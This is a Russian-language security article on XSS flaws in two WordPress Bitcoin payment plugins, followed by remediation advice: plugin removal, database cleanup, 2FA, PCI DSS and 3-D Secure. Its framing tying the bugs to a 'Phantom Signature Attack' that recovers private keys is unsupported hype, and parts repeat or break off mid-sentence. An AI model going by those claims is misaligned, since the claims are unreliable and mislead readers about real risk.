Криптографическая верификация — проверка корректности подписей сразу после их
генерации
Использование hardware security modules — для критических криптографических
операций

7.2 Для пользователей Bitcoin

Немедленное обновление плагинов GoUrl и Bitcoin/AltCoin Payment Gateway
Использование cold wallets для хранения значительных сумм
Избегание веб-интерфейсов для критических операций
Регулярная проверка логов доступа и истории транзакций
Использование мультиподписей (multisig) для дополнительной защиты

Phantom Signature Attack, в сочетании с XSS уязвимостями в WordPress платежных шлюзах
Bitcoin (CVE-2025-48102 и CVE-2025-26541), представляет собой критическую угрозу для
безопасности криптовалютных активов.

Эта комбинированная атака демонстрирует, как относительно простая веб-уязвимость может быть использована для компрометизации криптографической целостности системы, приводя к полной потере приватных ключей и, как следствие, к краже всех средств.

Исследование показывает, что безопасность Bitcoin зависит не только от криптографической
стойкости алгоритмов, но и от безупречной реализации этих алгоритмов в веб-окружении. Даже
небольшие недостатки в обработке XSS или слабые RNG могут привести к катастрофическим
последствиям.
Принятие предложенных профилактических мер и незамедлительное обновление уязвимого
программного обеспечения критически важно для защиты Bitcoin экосистемы и восстановления
потерянных кошельков.

Phantom Signature Attack, в сочетании с XSS уязвимостями CVE-2025-48102 и CVE-2025-26541 в платежных шлюзах Bitcoin для WordPress, представляет собой одну из наиболее критических и реалистичных угроз для безопасности криптовалютных активов в современном веб-окружении. Исследование демонстрирует, как относительно простая веб-уязвимость может быть использована для прямой компрометизации криптографической целостности системы, приводя к полной потере приватных ключей и необратимой краже Bitcoin средств.

Выбор Phantom Signature Attack из широкого спектра криптоинструментов на keyhunters.ru был обоснован его непосредственной релевантностью к проблеме восстановления приватных ключей через манипуляцию ECDSA параметрами, которые могут быть перехвачены через XSS. Эта атака служит идеальным примером синергии между веб-уязвимостями (категория OWASP Top 10) и криптографическими недостатками, что требует комплексного подхода к защите.

Безопасность Bitcoin зависит не только от криптографической стойкости алгоритмов, но и от безупречной их реализации в веб-окружении. Даже небольшие недостатки в обработке XSS или слабые RNG могут привести к катастрофическим последствиям для экосистемы. Принятие предложенных профилактических мер и незамедлительное обновление уязвимого программного обеспечения критически важно для защиты Bitcoin и восстановления потерянных кошельков пользователей.

CVE-2025-48102 и CVE-2025-26541: Критические XSS-уязвимости в платежных шлюзах Bitcoin для WordPress

Две серьезные уязвимости межсайтового скриптинга (Cross-Site Scripting, XSS) были обнаружены в популярных плагинах платежных шлюзов Bitcoin для WordPress, представляя значительный риск безопасности для тысяч интернет-магазинов и сайтов, принимающих криптовалютные платежи.

CVE-2025-48102: Хранимая XSS-уязвимость в GoUrl Bitcoin Payment Gateway

Уязвимость CVE-2025-48102 была официально опубликована 5 сентября 2025 года и затрагивает популярный плагин GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership во всех версиях до 1.6.6 включительно. Эта брешь в безопасности классифицируется как Stored XSS (хранимая межсайтовая скриптовая атака) согласно классификации CWE-79 (Improper Neutralization of Input During Web Page Generation).incibe+2

Технические характеристики уязвимости

Уязвимость получила оценку серьезности по системе CVSS v3.1 в 5.9 балла (средний уровень серьезности) с вектором атаки CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. Расшифровка этого вектора показывает следующие характеристики:feedly+2

Attack Vector (AV:N) — сетевая атака, не требующая физического доступаfeedly
Attack Complexity (AC:L) — низкая сложность эксплуатацииfeedly
Privileges Required (PR:H) — требуются высокие привилегии (администратор)wiz
User Interaction (UI:R) — необходимо взаимодействие пользователяfeedly
Scope (S:C) — изменяемый контекст безопасностиfeedly
Confidentiality/Integrity/Availability (C:L/I:L/A:L) — низкое воздействие на все три параметраwiz

Механизм атаки

Уязвимость возникает из-за ненадлежащей нейтрализации пользовательского ввода при генерации веб-страниц. Злоумышленник с правами администратора может инъецировать вредоносные скрипты в систему управления контентом WordPress, которые затем сохраняются в базе данных и автоматически выполняются при посещении страницы другими пользователями.patchstack+2

Как объясняют эксперты Patchstack, это позволяет атакующему инъецировать различные вредоносные элементы, включая:

Редиректы на фишинговые сайты
Несанкционированную рекламу
Произвольные HTML-пейлоадыpatchstack

Критичность ситуации

Особую опасность представляет тот факт, что плагин GoUrl больше не поддерживается разработчиками. Согласно данным Patchstack, программное обеспечение не обновлялось более года и, вероятно, не получит дальнейших обновлений или исправлений. Это делает все сайты, использующие данный плагин, постоянно уязвимыми для эксплуатации.wiz+1

Эксперты платформы Wiz отмечают, что эта Stored XSS уязвимость была обнаружена в WordPress плагине GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и раскрыта 5 сентября 2025 года. Несмотря на то, что для эксплуатации требуются права администратора, вредоносный код может быть выполнен от имени любого посетителя сайта, что значительно расширяет потенциальную область поражения.

CVE-2025-26541: Отраженная XSS-уязвимость в Bitcoin/AltCoin Payment Gateway

Вторая уязвимость, CVE-2025-26541, была опубликована 26 марта 2025 года и затрагивает плагин: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce во всех версиях до 1.7.6 включительно.

Классификация уязвимости

Эта брешь классифицируется как Reflected XSS (отраженная межсайтовая скриптовая атака). В отличие от хранимой XSS, отраженная XSS возникает, когда вредоносный пользовательский ввод немедленно отражается обратно пользователю через HTTP-ответ без надлежащей санитизации, заставляя браузер жертвы выполнить скрипт атакующего.feedly+2

Техническая информация

Уязвимость получила оценку по системе CVSS v3.1 с вектором CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L, что указывает на:feedly

Сетевую атаку без необходимости физического доступа
Низкую сложность эксплуатации
Отсутствие необходимости в привилегиях (PR:N) — критический факторsecalerts
Требуется взаимодействие пользователя
Изменяемый контекст безопасности
Низкое воздействие на конфиденциальность, целостность и доступность

Вектор атаки и исправление

Согласно информации от исследователей безопасности, уязвимость может быть эксплуатирована через отраженные XSS-атаки, позволяя атакующим инъецировать вредоносные скрипты в веб-страницы. Платформа Patchstack, которая первой обнаружила эту уязвимость, сообщает, что для устранения CVE-2025-26541 необходимо обновить плагин Bitcoin / AltCoin Payment Gateway for WooCommerce до версии 1.7.7 или выше.

Общая угроза XSS-уязвимостей для WordPress

Масштаб проблемы

Межсайтовый скриптинг является одной из наиболее распространенных уязвимостей, обнаруживаемых в веб-приложениях. Согласно данным различных исследований, XSS-уязвимости составляют около 53,3% всех уязвимостей плагинов WordPress.cwe.mitre+1

Особую тревогу вызывает тот факт, что в 2024 году колоссальные 1,614 плагина были удалены из репозитория WordPress.org по соображениям безопасности, из которых 1,450 были классифицированы как имеющие высокий или средний приоритет уязвимостей. Многие из этих плагинов остаются активными на веб-сайтах, подвергая их постоянным атакам.wp-content+1

Последствия эксплуатации

Хранимые XSS-атаки особенно опасны, поскольку вредоносный код сохраняется в базе данных сайта и автоматически выполняется для каждого посетителя, просматривающего зараженную страницу. Это делает Stored XSS значительно более разрушительной, чем Reflected XSS, поскольку:fastly+1

Широкое распространение воздействия — атакующий может внедрить скрипт один раз, и он будет выполняться для всех пользователей, просматривающих этот контентloop-digital
Захват сессий администратора — позволяет атакующим перехватывать сессии администраторов и получать полный контроль над сайтомsecurity.friendsofpresta+1
Кража конфиденциальных данных — включая пароли, данные кредитных карт и личную информациюscworld+1
Повреждение репутации — направление посетителей на фишинговые сайты и дефейс контентаwpexperts

Эксперты Wordfence подчеркивают, что в контексте WordPress добавление административных пользователей с контролируемыми атакующим учетными данными и редактирование файлов может привести к полной компрометации сайта, и это активно используется злоумышленниками.wordfence

Меры защиты и рекомендации

Немедленные действия

Для владельцев сайтов, использующих затронутые плагины, эксперты рекомендуют следующие неотложные меры:

Для CVE-2025-48102 (GoUrl):

Немедленно удалить плагин и заменить его активно поддерживаемой альтернативойpatchstack+1
Деактивация плагина не устраняет угрозу безопасности, если не развернут виртуальный патчpatchstack
Поскольку официального исправления нет, а программное обеспечение считается заброшенным, единственное эффективное решение — полное удаление.

Критические меры по устранению уязвимости CVE-2025-48102: Почему деактивация плагина GoUrl недостаточна и что необходимо предпринять

Обнаружение уязвимости CVE-2025-48102 в плагине GoUrl Bitcoin Payment Gateway создало критическую ситуацию для тысяч владельцев WordPress-сайтов. Особую тревогу вызывает тот факт, что стандартные меры безопасности не способны обеспечить адекватную защиту, а полумеры могут создать ложное чувство безопасности. Рассмотрим детально, почему простая деактивация плагина не решает проблему и какие действия необходимо предпринять для полного устранения угрозы.

Почему деактивация плагина не устраняет угрозу безопасности

Техническая реальность деактивированных плагинов

Многие администраторы WordPress ошибочно полагают, что деактивация плагина полностью отключает его и устраняет все связанные с ним риски безопасности. Однако это фундаментальное заблуждение может иметь катастрофические последствия.dotwise+2

Критическая разница между деактивацией и удалением:

Деактивация плагина просто отключает его функциональность в WordPress — код плагина больше не взаимодействует с вашим сайтом, и его функции не выполняются. Однако все файлы плагина и данные остаются на сервере, если вы не удалите плагин полностью. Это ключевое различие имеет критическое значение для понимания потенциальных рисков безопасности.qodeinteractive+1

Физическое присутствие кода на сервере: Даже когда плагин деактивирован, его файлы продолжают храниться в каталоге /wp-content/plugins/ на вашем сервере. Если плагин имеет известные уязвимости, хакер может эксплуатировать их, напрямую обращаясь к файлам плагина. Это может произойти через другие уязвимости на вашем сайте, такие как слабая защита сервера или скомпрометированные учетные данные администратора.magnatechnology+3

Эксперты безопасности Dotwise подчеркивают: «Код остается доступным. Даже когда плагин деактивирован, его файлы остаются храниться на вашем сервере. Если плагин имеет известные уязвимости, хакер может эксплуатировать их, напрямую обращаясь к файлам плагина».dotwise

Векторы атак на деактивированные плагины

Целенаправленные атаки: Киберпреступники часто сканируют веб-сайты на наличие определенных уязвимых плагинов. Если уязвимый плагин существует на вашем сервере, даже если он деактивирован, он все равно может быть атакован злоумышленником.magnatechnology+1

Специалисты Qode Interactive предупреждают: «Деактивация плагина вместо его удаления отлично подходит для диагностики и устранения неполадок, но это всегда предназначено только для краткосрочного использования. Если вы хотите, чтобы ваш WordPress-сайт был максимально защищен от хакеров, вам необходимо удалить все неиспользуемые плагины, а также их файлы».qodeinteractive

Устаревшие плагины: Деактивированные плагины часто упускаются из виду при регулярном обслуживании WordPress. Если плагин не обновляется для устранения уязвимостей безопасности, он может стать слабым звеном в защите вашего сайта. Хакеры часто эксплуатируют устаревшее программное обеспечение, и деактивированный плагин не является исключением.dotwise+1

Команда Magna Technology отмечает: «Одна из наиболее критических проблем с деактивированными плагинами — это безопасность. Даже несмотря на то, что деактивированные плагины не запускаются, они остаются в вашей установке WordPress и могут стать уязвимостью, если они не обновляются регулярно. Хакеры часто эксплуатируют устаревшие плагины для получения доступа к веб-сайтам, даже если эти плагины не активны».

Отсутствие официального исправления и статус заброшенного программного обеспечения

Критичность ситуации с GoUrl

Особенностью CVE-2025-48102 является то, что плагин GoUrl Bitcoin Payment Gateway больше не поддерживается разработчиками. Это создает уникальную и крайне опасную ситуацию для всех пользователей плагина.patchstack+1

Официальная позиция Patchstack: На странице уязвимости Patchstack четко указано: «Это программное обеспечение, вероятно, заброшено! Это программное обеспечение последний раз обновлялось более года назад и, вероятно, не получит дальнейших обновлений или исправлений. Срочно рассмотрите возможность замены программного обеспечения альтернативой».patchstack

Критическое предупреждение о деактивации: Patchstack особо подчеркивает: «Обратите внимание, что деактивация программного обеспечения не устраняет угрозу безопасности, если не развернут виртуальный патч (vPatch)».patchstack

Рекомендация специалистов Wiz: Эксперты платформы Wiz прямо заявляют: «Поскольку официального исправления нет, а программное обеспечение считается заброшенным, рекомендуемая мера по смягчению последствий — удалить и заменить плагин активно поддерживаемой альтернативой».wiz

Последствия использования заброшенного ПО

Постоянная уязвимость: Без поддержки разработчика не будет выпущено никаких обновлений безопасности. Это означает, что любые обнаруженные уязвимости, включая CVE-2025-48102, останутся неисправленными навсегда.wiz+1

Накопление рисков: Со временем могут быть обнаружены дополнительные уязвимости, которые также не будут исправлены. Согласно статистике Patchstack, в 2024 году колоссальные 1,450 плагинов были удалены из репозитория WordPress.org как имеющие высокий или средний приоритет уязвимостей.

Несовместимость с будущими версиями: Заброшенные плагины могут стать несовместимыми с будущими версиями WordPress, PHP или других зависимостей, создавая дополнительные проблемы функциональности и безопасности.mainwp+1

Роль виртуального патчинга в защите уязвимых плагинов

Что такое виртуальный патчинг

Виртуальный патчинг (Virtual Patching) — это метод безопасности, который блокирует известные эксплойты до того, как они достигнут уязвимого кода, без внесения каких-либо изменений в само приложение.wp-umbrella+2

Определение OWASP: Организация OWASP определяет виртуальный патчинг как «уровень применения политики безопасности, который предотвращает эксплуатацию известной уязвимости«.

Механизм работы: Виртуальные патчи анализируют транзакции и перехватывают атаки в процессе передачи, поэтому вредоносный трафик никогда не достигает веб-приложения. В результате, хотя фактический исходный код приложения не был изменен, попытка эксплуатации не удается.owasp+1

Как виртуальный патч защищает от CVE-2025-48102

Специфичность для уязвимости: В отличие от универсальных Web Application Firewall (WAF), которые полагаются на широкие шаблоны обнаружения, виртуальные патчи написаны как целевые правила, соответствующие конкретным полезным нагрузкам. Если плагин имеет уязвимость SQL-инъекции или межсайтового скриптинга, виртуальный патч может перехватывать и блокировать точную сигнатуру запроса, которая эксплуатирует её.wp-umbrella+1

Технология Patchstack: Patchstack использует специфичные для уязвимостей правила JSON, которые могут включать различные инструкции. Например, для SQL-инъекции, которая может быть достигнута путем включения вредоносной полезной нагрузки в параметр POST id, виртуальный патч может использовать подход на основе белого списка, где id может содержать только число.patchstack+1

Автоматическое применение: Когда уязвимость обнаруживается и документируется с идентификатором CVE, исследователи безопасности — или платформы, такие как Patchstack — проверяют уязвимость и документируют точно, как работает эксплойт. Это становится основой для виртуального патча, который затем может быть автоматически развернут на всех защищенных сайтах.patchstack+1

Преимущества и ограничения виртуального патчинга

Ключевые преимущества:theadminbar+2

Немедленная защита: Предоставляет защиту в течение нескольких часов после обнаружения уязвимости, даже если официальное исправление еще не выпущеноsearchenginejournal+1
Защита от zero-day: Сайты, защищенные Patchstack, получают защиту даже от 0-day уязвимостей, которые еще не известны публикеpatchstack
Масштабируемость: Управляемые веб-файерволы приложений могут развертывать патчи в сети веб-сайтов одновременноowasp
Снижение рисков: Уменьшает риск до выпуска исправления поставщиком или во время тестирования и применения патчаowasp
Отсутствие конфликтов: Меньше вероятность возникновения конфликтов по сравнению с ручным патчингом кодаowasp
Легкость применения: В отличие от файерволов приложений, которые полагаются на общие наборы правил, Patchstack знает точно, какие уязвимости присутствуют, и может предоставить индивидуальную защиту для каждого сайтаtheadminbar

Критические ограничения для CVE-2025-48102:

Несмотря на все преимущества виртуального патчинга, в случае с заброшенным плагином GoUrl это не может быть долгосрочным решением. Patchstack ясно предупреждает, что деактивация программного обеспечения не устраняет угрозу безопасности, если не развернут виртуальный патч. Однако полагаться исключительно на виртуальный патч для постоянной защиты от заброшенного ПО — это опасная стратегия, поскольку:patchstack

Могут быть обнаружены новые уязвимости, для которых виртуальные патчи еще не созданы
Виртуальный патч — это временная мера, а не постоянное решениеsucuri+1
Требуется активная подписка на службу, такую как Patchstack, для поддержания защитыwp-umbrella+1

Единственное эффективное решение: полное удаление плагина

Почему полное удаление обязательно

Учитывая все факторы — отсутствие официального исправления, статус заброшенного ПО, недостаточность деактивации и временный характер виртуального патчинга — эксперты единодушны: единственное эффективное решение для CVE-2025-48102 — это полное удаление плагина GoUrl.wiz+1

Консенсус экспертов:

Patchstack: «Срочно рассмотрите возможность замены программного обеспечения альтернативой»patchstack
Wiz: «Рекомендуемая мера по смягчению последствий — удалить и заменить плагин»wiz
WPBeginner: «Да, не только безопасно, но и рекомендуется удалять неактивные плагины, которые вы не планируете использовать снова»wpbeginner
Qode Interactive: «Если вы хотите, чтобы ваш WordPress-сайт был максимально защищен от хакеров, вам необходимо удалить все неиспользуемые плагины, а также их файлы»qodeinteractive

Пошаговый процесс безопасного удаления

Шаг 1: Создание полной резервной копииjetpack+1

Перед удалением любого плагина обязательно создайте полную резервную копию вашего сайта, включая файлы и базу данных. Это гарантирует, что вы сможете восстановить сайт в случае возникновения проблем. Рекомендуемые инструменты:liquidweb+1

Jetpack VaultPress Backup для автоматического резервного копированияjetpack
UpdraftPlus для комплексного резервного копированияwppluginexperts
BlogVault для управления резервными копиямиwppluginexperts

Шаг 2: Деактивация плагина через панель управленияkinsta+1

Войдите в панель управления WordPress и перейдите в Плагины → Установленные плагины. Найдите GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и нажмите «Деактивировать».kinsta+1

Шаг 3: Удаление плагина из WordPresswpbeginner+1

После деактивации нажмите «Удалить» под названием плагина. WordPress удалит файлы плагина из директории /wp-content/plugins/.jetpack+3

Шаг 4: Очистка базы данных от остаточных таблицliquidweb+2

Критически важный этап: Многие плагины WordPress создают собственные таблицы в базе данных, которые не удаляются автоматически при удалении плагина. Эти «осиротевшие таблицы» (orphaned tables) продолжают занимать место и могут содержать конфиденциальные данные.youtubeonlinemediamasters+3

Методы очистки базы данных:

А. Использование плагинов для очистки базы данных:nitropack+2

Advanced Database Cleaner — комплексный плагин для очистки WordPress базы данных:wordpress+1

Pro-версия позволяет удалять осиротевшие таблицы, оставленные удаленными плагинамиwordpress+1
Идентифицирует таблицы, которые больше не используются активными плагинамиwordpress
Предоставляет функцию предварительного просмотра перед удалениемnitropack

WP-Optimize — популярный инструмент оптимизации:jetpack+2

Открывает вкладку «Tables» и позволяет удалить конкретные таблицыjetpack
Отмечает таблицы как «не установлены» или «неактивны»onlinemediamasters
Предоставляет кнопку «Remove» во вкладке Actionsonlinemediamasters

Plugins Garbage Collector — специализированный плагин для обнаружения осиротевших таблиц:youtube

Сканирует базу данных и показывает результаты в трех цветахyoutube
Красный цвет означает возможные осиротевшие таблицы от неиспользуемых плагиновyoutube
Зеленый цвет выделяет таблицы, необходимые активным плагинамyoutube
Синий цвет показывает таблицы от деактивированных плагиновyoutube

Б. Ручная очистка через phpMyAdmin:mehulgohil+2

Для опытных пользователей:

Войдите в phpMyAdmin через панель управления хостингомmehulgohil+1
Выберите вашу базу данных WordPressliquidweb
Используйте функцию «Search», чтобы найти таблицы, связанные с GoUrljetpack
Найдите таблицы с префиксом, специфичным для GoUrl (например, wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1
Выберите таблицы и нажмите «Delete» для их удаленияjetpack

SQL-запрос для удаления конкретных таблиц:liquidweb

sql:

DROP TABLE wp_gourl_tablename;

Замените wp_gourl_tablename на фактическое имя таблицы. Всегда дважды проверяйте, что никакой другой плагин не использует таблицу.

Шаг 5: Проверка остаточных файловjetpack+1

Некоторые плагины могут создавать файлы вне директории плагинов. Проверьте директорию /wp-content/uploads/ на наличие папок, связанных с GoUrl (например, /wp-content/uploads/gourl/), и удалите их через FTP или файловый менеджер хостинга.wordpress+2

Шаг 6: Удаление неиспользуемых шорткодов

Если в контенте вашего сайта использовались шорткоды GoUrl, они станут неактивными и будут отображаться как текст. Найдите и удалите их вручную из постов и страниц.

Выбор и внедрение активно поддерживаемой альтернативы

Критерии выбора безопасной альтернативы

При выборе замены для GoUrl необходимо учитывать следующие факторы:

1. Активная поддержка и регулярные обновления:wp-content+1

Плагин должен регулярно обновляться (минимум несколько раз в год)wp-content
Разработчик должен активно реагировать на сообщения о безопасностиpatchstack
Должна быть доступна документация и техническая поддержкаmainwp

2. Надежная репутация в области безопасности:paymattic+1

Использование SSL/TLS сертификатов с 256-битным шифрованиемgetshieldsecurity+1
Соответствие стандартам PCI DSShosted+1
Положительные отзывы и рейтинги безопасностиbeycanpress+1

3. Техническая совместимость:crocoblock+1

Совместимость с вашей версией WordPress и PHPbeycanpress
Интеграция с используемыми плагинами электронной коммерции (WooCommerce и т.д.)crocoblock+1
Поддержка необходимых криптовалютawisee+1

Дополнительные меры безопасности после удаления

Аудит безопасности после удаления

1. Сканирование на вредоносное ПО:solidwp+1

Используйте профессиональные сервисы реагирования на инциденты для сканирования на предмет серверного вредоносного ПОpatchstack
Не полагайтесь на плагины для сканирования вредоносного ПО, так как они часто подделываются вредоносным кодомpatchstack
Рекомендуемые сервисы: Wordfence, Sucuri, Patchstackdreamhost+1

2. Проверка учетных записей администратора:wordfence+1

Проверьте наличие подозрительных административных аккаунтов, которые могли быть созданы через эксплуатацию XSS-уязвимости
Удалите все неизвестные или неавторизованные учетные записиsolidwp
Измените пароли всех административных учетных записейsolidwp

3. Анализ логов доступа:wp-rocket+1

Просмотрите логи сервера на предмет необычной активности в период использования уязвимого плагинаhosted
Ищите подозрительные запросы к файлам плагина GoUrlhosted
Проверьте попытки несанкционированного доступаwp-rocket

Превентивные стратегии для будущего

1. Регулярный аудит установленных плагинов:patchstack+2

Ежемесячно проверяйте все установленные плагины на предмет активности разработкиmainwp
Идентифицируйте плагины, которые не обновлялись более 6 месяцевdreamhost+1
Немедленно удаляйте заброшенные или неиспользуемые плагиныwp-content+1

2. Внедрение политики управления плагинами:wp-eventmanager+1

Устанавливайте только плагины из официального репозитория WordPress или от проверенных поставщиковpaymattic+1
Проверяйте рейтинги, отзывы и историю обновлений перед установкойpatchstack
Ограничивайте количество установленных плагинов до необходимого минимумаwp-eventmanager

3. Автоматизация обновлений безопасности:wp-eventmanager+1

Включите автоматические обновления для критичных плагинов безопасностиpatchstack
Используйте сервисы мониторинга,

Для CVE-2025-26541 (CodeSolz):

Обновить до версии 1.7.7 или выше немедленноsecalerts
Проверить наличие подозрительных административных аккаунтов
Просмотреть логи доступа на предмет необычной активности

Безопасность платежных данных и SSL/TLS шифрование

Использование SSL/TLS сертификатов с 256-битным шифрованием является фундаментальным требованием для всех сайтов, обрабатывающих платежи. Современные SSL-сертификаты применяют протокол TLS версии 1.2 или выше, обеспечивая надежное шифрование данных между браузером пользователя и веб-сервером. 256-битное шифрование AES (Advanced Encryption Standard), используемое в SSL/TLS соединениях, считается абсолютно безопасным по современным стандартам — время, необходимое для взлома такого шифрования методом перебора, превышает возраст вселенной.wpbrigade+4

Ключевые моменты внедрения SSL/TLS:

Автоматическое обновление сертификатов: Сертификаты Let’s Encrypt, которые бесплатно предоставляются большинством хостинг-провайдеров, действуют 90 дней и требуют автоматического продления для предотвращения незапланированных простоев.wordpress+1
Принудительное использование HTTPS: Необходимо настроить редирект всего трафика с HTTP на HTTPS через конфигурационные файлы сервера или специализированные плагины WordPress.sectigostore+2
Отключение устаревших протоколов: Следует деактивировать TLS 1.0 и 1.1, используя только TLS 1.2 и 1.3 для максимальной защиты.melapress+1
Оптимизация наборов шифров: Рекомендуется приоритизировать современные алгоритмы шифрования, такие как AES-256 и ECDHE для обмена ключами.wpbrigade+1

Помимо базовой защиты, SSL-сертификаты критически важны для SEO: Google приоритизирует HTTPS-сайты в результатах поиска, а браузеры отображают предупреждения «Не защищено» для HTTP-сайтов, что напрямую влияет на доверие пользователей и конверсию.tdwds+1

Соответствие стандарту PCI DSS

Payment Card Industry Data Security Standard (PCI DSS) представляет собой обязательный набор из 12 требований безопасности для любого бизнеса, принимающего платежи банковскими картами. Эти требования организованы в шесть основных категорий:wpeasypay+2

1. Создание и поддержка безопасной сетевой инфраструктуры

Установка и настройка межсетевого экрана (firewall) для защиты данных держателей карт.visualmodo+1
Изменение всех заводских паролей и параметров безопасности по умолчанию.wpeasypay+1

2. Защита данных держателей карт

WordPress по умолчанию не хранит данные карт, что значительно снижает требования к соответствию стандарту.technologyally+1
Использование токенизации через платежные шлюзы (Stripe Elements, PayPal Checkout) обеспечивает, чтобы конфиденциальные данные никогда не попадали на ваш сервер.paymentsplugin+3
Шифрование данных при передаче по открытым сетям с использованием SSL/TLS.melapress+2

3. Программа управления уязвимостями

Защита всех систем от вредоносного ПО с регулярным обновлением антивирусных программ.
Разработка и поддержка безопасных систем и приложений.melapress+1

4. Строгие меры контроля доступа

Ограничение доступа к данным держателей карт на основе принципа «необходимо знать».wpeasypay+2
Назначение уникального идентификатора каждому пользователю с компьютерным доступом.visualmodo+1
Ограничение физического доступа к данным держателей карт.melapress+1

5. Регулярный мониторинг и тестирование сетей

Отслеживание и мониторинг всего доступа к сетевым ресурсам и данным держателей карт.wpeasypay+2
Регулярное тестирование систем безопасности.visualmodo+1

6. Политика информационной безопасности

Поддержание документированной политики безопасности информации.melapress+1

Практические шаги для WordPress-сайтов:

Для большинства WordPress-сайтов, использующих сторонние платежные шлюзы, достаточно заполнить Self-Assessment Questionnaire (SAQ) типа A. Критически важно выбрать хостинг-провайдера, соответствующего PCI DSS, который обеспечивает защищенные серверные конфигурации, сильные межсетевые экраны и ограниченный физический доступ к серверам.digitalchicks+4

Несоблюдение PCI DSS может привести к серьезным финансовым последствиям: штрафы варьируются от $5,000 до $100,000 в месяц, плюс возможная ответственность за мошеннические потери, расследования и юридические издержки. В крайних случаях банки-эквайеры могут прекратить ваш торговый счет и запретить прием платежей картами.wpeasypay

Двухфакторная аутентификация (2FA)

Двухфакторная аутентификация добавляет критически важный дополнительный уровень защиты административного доступа, требуя вторую форму идентификации помимо пароля. Статистика показывает, что 81% взломов WordPress происходит из-за слабых или украденных паролей, что делает 2FA незаменимым элементом безопасности.wordpress+4

Методы реализации 2FA в WordPress:

Приложения-аутентификаторы (Google Authenticator, Authy): Генерируют шестизначные одноразовые коды, обновляющиеся каждые 30 секунд.wpadminify+2
Коды по электронной почте: Простой метод, подходящий для пользователей без смартфонов.wordpress
SMS-коды: Дополнительная опция, хотя менее безопасная, чем приложения-аутентификаторы.wordpress
Биометрическая аутентификация: Современные решения, включающие Face ID или сканирование отпечатков пальцев.teamupdraft+1
Резервные коды: Одноразовые коды восстановления на случай потери доступа к основному методу аутентификации.wpadminify+1

Лучшие практики внедрения 2FA:

Обязательная 2FA для администраторов: Начните с требования двухфакторной аутентификации для всех пользователей с ролью администратора, затем расширьте на редакторов и авторов.wpvip+2
Настройка периода адаптации: Дайте пользователям разумный срок (например, 7-14 дней) для настройки 2FA перед принудительным применением.supporthost
Ролевая политика 2FA: Используйте плагины, позволяющие настраивать требования 2FA для конкретных ролей пользователей.teamupdraft+2
Безопасное хранение резервных кодов: Обучите пользователей сохранять резервные коды в защищенном месте (менеджер паролей, зашифрованное хранилище).wpadminify+1

Популярные плагины для реализации 2FA включают WP 2FA, Wordfence Login Security, All-in-One Security (AIOS) и встроенные функции в комплексных решениях безопасности.supporthost+4

Протоколы 3D Secure для дополнительной проверки

3D Secure (3DS) — это протокол безопасности, разработанный EMVCo для добавления дополнительного уровня защиты онлайн-платежам картами. Название «3D» означает три домена, участвующих в транзакции: домен эмитента (банк держателя карты), домен эквайера (продавец и его платежный провайдер) и домен совместимости (директория платежной системы — Visa, Mastercard).sift+1

Как работает 3D Secure:

Клиент вводит данные карты на странице оплаты.knowledge.antom+1
Система продавца связывается с платежной системой для проверки поддержки 3DS картой.sift
Банк эмитент оценивает риск на основе более 100 точек данных (тип устройства, история поведения, геолокация).futuremarketinsights+1
Бесфрикционная аутентификация (низкий риск): банк автоматически одобряет транзакцию без вмешательства пользователя.knowledge.antom+1
Аутентификация с запросом (высокий риск): банк может запросить дополнительную верификацию — SMS-код, биометрическое подтверждение или passkey.futuremarketinsights+2

Преимущества 3D Secure 2.0:

Снижение мошенничества с картами: Эффективно выявляет подозрительную активность до возникновения убытков.sift+1
Перенос ответственности: При успешной аутентификации клиента банк, а не продавец, несет ответственность за возвратные платежи (chargebacks).knowledge.antom+1
Соответствие требованиям SCA: Обеспечивает соблюдение требований Strong Customer Authentication согласно PSD2 и другим регуляторным стандартам.futuremarketinsights+1
Бесфрикционный опыт: 3DS 2.0 поддерживает риск-основанную аутентификацию, позволяя низкорисковым транзакциям проходить без дополнительных шагов, что снижает показатель отказа от корзины.worldline+2
Поддержка мобильных платежей: Оптимизирован для мобильных устройств и приложений.sift+1

Будущее 3D Secure:

К 2026 году ожидается широкое внедрение Secure Payment Confirmation (SPC) на базе FIDO2/WebAuthn, использующего биометрические методы (Face ID, сканирование отпечатков пальцев) вместо одноразовых кодов. Делегированная аутентификация позволит продавцам или цифровым кошелькам напрямую аутентифицировать вернувшихся пользователей без перенаправления на сервер банка, сохраняя при этом переход ответственности.futuremarketinsights+1

Дополнительные меры безопасности

Токенизация платежных данных:
Токенизация заменяет конфиденциальные данные карты уникальным идентификационным кодом (токеном), который используется для цифровых транзакций. Токены необратимы — невозможно извлечь исходную информацию без доступа к защищенному хранилищу токенов (token vault). Это минимизирует риски утечки данных и помогает соблюдать требования PCI DSS.roqqett+2

Заголовки безопасности HTTP:
Внедрение HTTP-заголовков безопасности обеспечивает дополнительную защиту:wpsecurityninja+5

Content-Security-Policy (CSP): Ограничивает источники загрузки ресурсов, предотвращая атаки внедрения кода (XSS).malcare+3
Strict-Transport-Security (HSTS): Принудительно использует HTTPS, даже если пользователь пытается перейти по HTTP-ссылке.xcloud+2
X-Frame-Options: Предотвращает clickjacking-атаки.themewinter+1
X-Content-Type-Options: Останавливает MIME-sniffing браузерами.wpsecurityninja+1

Web Application Firewall (WAF):
WAF фильтрует вредоносный трафик до того, как он достигнет вашего сайта, блокируя SQL-инъекции, XSS-атаки и DDoS-атаки. Cloudflare предоставляет мощные возможности настройки правил WAF для WordPress-сайтов, включая блокировку доступа к wp-login.php из определенных стран, отключение xmlrpc.php и ограничение частоты попыток входа.flywp+3

Управление уязвимостями:
Регулярное сканирование на уязвимости критически важно для выявления проблем безопасности до их эксплуатации. Сканеры должны охватывать базу данных уязвимостей, включающую более 60,000 известных уязвимостей ядра WordPress, тем и плагинов. Автоматическое обновление компонентов сайта закрывает критическое окно уязвимости между публикацией проблемы безопасности и применением патча.wponcall+4

Принцип наименьших привилегий:
Предоставляйте пользователям только те права доступа, которые абсолютно необходимы для выполнения их задач. Регулярно проводите аудит пользовательских учетных записей, удаляя неактивные аккаунты и пересматривая назначенные роли. Ограничьте количество администраторов и редакторов, используя кастомные роли для более детального контроля.melapress+4

Журналы аудита и мониторинг:
